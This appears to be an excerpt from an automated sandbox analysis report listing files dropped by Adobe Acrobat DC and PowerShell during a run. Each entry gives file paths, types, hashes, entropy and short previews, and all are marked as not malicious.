Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2918014375955815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfbPtdPeUkwRe9:YvXKXmKQhLV0ciGDV8Ukee9
MD5:	AF705B5D654DB433C60CB662A9AA218D
SHA1:	55CBE81AFD7FD9FAFAE2608CC2BACA2C7017A35C
SHA-256:	7D0D8538668210AF2A29BD043BD33A6C83418BC5EAB5C42A5D6753A3643E9006
SHA-512:	D0B155C546E26F18AA1A664A2613586765DDCF1BD6730FBC889EFB0A152A442C0C1ACBBE0D3A150DC462E0A31F228C4008CF87148B0B078694DFCFB5334CB400
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2949834203631765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJf21rPeUkwRe9:YvXKXmKQhLV0ciG+16Ukee9
MD5:	5853176F903F0C520D0207B6BFC4E052
SHA1:	FAB858313DFF877349183416D9C39AAAE8C89411
SHA-256:	BD9497CAC838E6B3BDE59215852B8B9ADCE9ED8EA388064F6E5077B05A04CA95
SHA-512:	A38DA92CAFA4C5E68EC0E624E7B6C547537CEB0F99EA0B9A3EB90707FA2C7A9EC80C6375BB037E6F7DCDADE3EDF7B4B616147E8EFD41641E891B49EAC9CAAE69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662414934122881
Encrypted:	false
SSDEEP:	24:Yv6XJmZHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGY:Yv5BgkDMUJUAh8cvMGY
MD5:	2D3F4224162CA74F44E4A4523AC077FC
SHA1:	A02F129A048372C8E96784CCF0BAE6CB00640DD9
SHA-256:	055C0FA7BB2EAACAFF401E8099876A90DCC3BF9666D51869F8C5BD038A5ED80C
SHA-512:	7ACC78889B19BFE44000EA37E4E05333E81C1E68F42E2678F6942A15CA8A3A709EF29F184DE29A9EEAB8C21ECC5E47E8EE18702B3057ADD647813C5085675718
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272238542854321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfshHHrPeUkwRe9:YvXKXmKQhLV0ciGUUUkee9
MD5:	23870AD7D6B44177D76A884D5AB2C7EA
SHA1:	EFB7B8F67259B67FF304869FD39CD746DDA169E3
SHA-256:	C5DF5653B9125694055A1B0FC089AC7CF3D9D328EA059DC14B97F46CD38DC586
SHA-512:	6BC14DAF95E169D1E9115144DA5EBB4529B7F7DA1C5E65D9F7ED9F24F16F8458319A59AFE08A7650B975FB1201643CFCF99EBF2D7AD7AE05CF12E85785B0AA52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.279908961245882
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJTqgFCrPeUkwRe9:YvXKXmKQhLV0ciGTq16Ukee9
MD5:	8BBCCB09573DBD714D741A58D3CB3677
SHA1:	2C1754DB90771A8B5F1F66F016D09381B2C63A60
SHA-256:	4D356F68EFEB6CB3A8CCE0DC18E751D1E1CAF4A7EB5D420E195D82DF3CF2DAAB
SHA-512:	3EFE2AC21F98DB0D1ED081C70B88A37EABBB5611AA9FB034800878DA920DA1AE10DC0A5CD2E60E3644013E63D54BFCFA068A72A72269BE9BF95EF819D1319F8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.124060953413671
Encrypted:	false
SSDEEP:	24:Ye34JX14aEayda+xXjwYDLbvUUjnlj0SgOSS0E2F2LSKCShnnp8cj5/X2Vh9KuKj:Ye341KlblpxSesw/nagZX2Vh9G
MD5:	DAB86611098FF80BAFB79104CF2137EB
SHA1:	38B22EED5650991DC34A5CB9470285B81EC8BF4A
SHA-256:	0CD52D81555B7E1E74A1E2001C08B115250D852DA2AB03B879512AB61C39CB04
SHA-512:	1F11C425598F30C5FD20BE82C54BCC92EF5160F26968BC26838307F0E20C8777424676498A76D3FE6DCF18AD2CC58325BB19230AC9A7B9C230B8E8249658D296
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b99d0382960822ef2b16bb1100432505","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532390000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"407af28a66e87e051c2aafe74e0b08cf","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532390000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a63ef0cf107a11caf3a290eed2a71d17","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532390000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"278b6260ad04d088fb77e853415007cf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532390000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"18a893d2206a21da09976fadcbacc8e3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532390000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f1e08f04ed3bbcc9d5702e7990657eb0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1445617273966562
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urswRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHn:TFl2GL7ms6Xc+XcGNFlRYIX2v3kn
MD5:	7F7B8D57A850A5BA01B8C314290F1E25
SHA1:	C7F7D7620CEE48F8B187E0043E5176FF4F2E80C4
SHA-256:	D658CB721F0F3FD41251D0DC4F6253002DC2F618EE1B2624397DA684B63A4E7E
SHA-512:	92F173982EE4CA0B5166A80ED1064FA44FA47331A6F502C582E7252F8F273A344787A9A6A98ADFED32E908F0B314FFE6DC9D68C864C4FC442F8B8AE8586CA7C1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5475963427797153
Encrypted:	false
SSDEEP:	24:7+txUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxoqLxx/XYKQ7:7MiXc+XcGNFlRYIX2v9qVl2GL7msE
MD5:	F180B83A42ED895E5B0A9D7211193B63
SHA1:	7A36516C9A396993D402C97A89D1429476E1E6B7
SHA-256:	01FADCE756EEC225B9EE0501B645B9590F9A76CF49E6EDEAEE4B9F6168DB1E3B
SHA-512:	4FBA597990BB181C53EA417B42B0D3ECF90A4A21FF0280D0CB46DA8E227BA03FFA91E42D444D3BEE1E3147682FBCF456EFF85577EFD4C5C37E5DC5DDE083C36E
Malicious:	false
Preview:	.... .c.....c.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgQrFvPPV4ZA0XYN9GWbA+kBUoYyu:6a6TZ44ADEQrF/V47XYN2nK
MD5:	CEC1D2B5FEF08840A655E1C6CA50FD4E
SHA1:	50192410F9086D373B1F08C119572C0A6A34EEAE
SHA-256:	F5BB6331E518DF189050D219F9E9351FC316BEEBE634A0B09D396D1724F6934B
SHA-512:	2B551286AA09BCEF9E249D0E46D2F0114BA3063B4A01039EA60EAEABBB7185A1F29818CA432798E3082E3BCFA50E67903AEF64E55FDAD7114442DE8E54135C46
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfbc4a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEcw:Qw946cPbiOxDlbYnuRK+bDx
MD5:	5CA3C32A0CEECAAC26517CE12DEE6925
SHA1:	A1CDF3DD9FB7B313213D510CE43DC4A3D26A8B50
SHA-256:	664A491264D03F1A03885E91F52D48B38AA7C6C78D4B13959323E3403FA78734
SHA-512:	AD77F070BA06F7BEBF575B7766254EE7A84D1B2955FCA06EC04880D3B7956A4BD93FD0FE07FEBDC83A905BB3CB33FDCE37D29D052CD078A48C8172C43DECAC31
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.6.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0j21mog.bck.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcvg5iwb.eyd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-06-24-060.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3347168095365145
Encrypted:	false
SSDEEP:	384:7ye3eODQwO9VEe3QVXxo5LUpJWBoDGi5vsznaG6chDlegJP0krD7WpWopjx/WLjJ:qeq
MD5:	D31AE84DC8DBDA2D17F93D5B64A1DE6F
SHA1:	447DA1FA17DD94E73120D4AAFCCA0E1B5D406F1B
SHA-256:	03ED3FABBCBA9C8BB75C94004E73518C3367879A8ECB79E53C22BA59EB2D3638
SHA-512:	3BE29DC1131B7AF8D0123A08E018C1CB231CB3CBCA1165AE1F8B5E5049ADDC73B5805FDC276923698E78C07C90856D2579FC080F458CE959EDAA73C812E1A2A0
Malicious:	false
Preview:	SessionID=125a9663-05fb-4507-8b74-e00d3daf002f.1736532384140 Timestamp=2025-01-10T13:06:24:140-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=125a9663-05fb-4507-8b74-e00d3daf002f.1736532384140 Timestamp=2025-01-10T13:06:24:158-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=125a9663-05fb-4507-8b74-e00d3daf002f.1736532384140 Timestamp=2025-01-10T13:06:24:158-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=125a9663-05fb-4507-8b74-e00d3daf002f.1736532384140 Timestamp=2025-01-10T13:06:24:158-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=125a9663-05fb-4507-8b74-e00d3daf002f.1736532384140 Timestamp=2025-01-10T13:06:24:158-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394341858453411
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbWQcbaInzcbh:V3fOCIdJDespng
MD5:	5A61677E00414888607FEE919A598731
SHA1:	2097726C8E47D7396E5FE65F480273DCB4E9EECE
SHA-256:	B8818A1C2CA3E8D42FC02F083331B7871C12E9F75EFE862BB8A818C7334A6D27
SHA-512:	10EA7441CC662CBE28C68A113D09B836DC7089BEC012B8C5D0289A45C3D9D64908BF4962816B1A533B8F1497E73FD620BE09AB3B62E7EC81F0FC5B5099207AB1
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\339b2814-da34-45a9-bd62-63b080a897d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3e772356-6004-499b-a825-0eeb08938943.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a943944d-9b53-4b41-b831-d9694e0c5277.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
